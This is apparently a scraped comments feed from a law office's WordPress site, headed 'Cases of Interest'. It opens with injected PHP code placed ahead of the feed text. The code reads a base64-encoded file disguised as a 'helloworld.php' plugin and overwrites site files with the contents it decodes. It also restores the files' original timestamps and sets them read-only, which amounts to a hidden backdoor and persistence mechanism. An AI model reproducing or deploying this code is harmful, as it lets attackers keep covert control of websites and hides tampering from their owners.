$wp_update_file="/home2/fightba2/public_html/wp-content/plugins/helloworld.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } Comments on: Cases of Interest https://www.fightbacknewyork.com Law Offices of Steven A. Hoffner Wed, 29 Apr 2009 02:03:35 +0000 hourly 1 https://wordpress.org/?v=6.9.1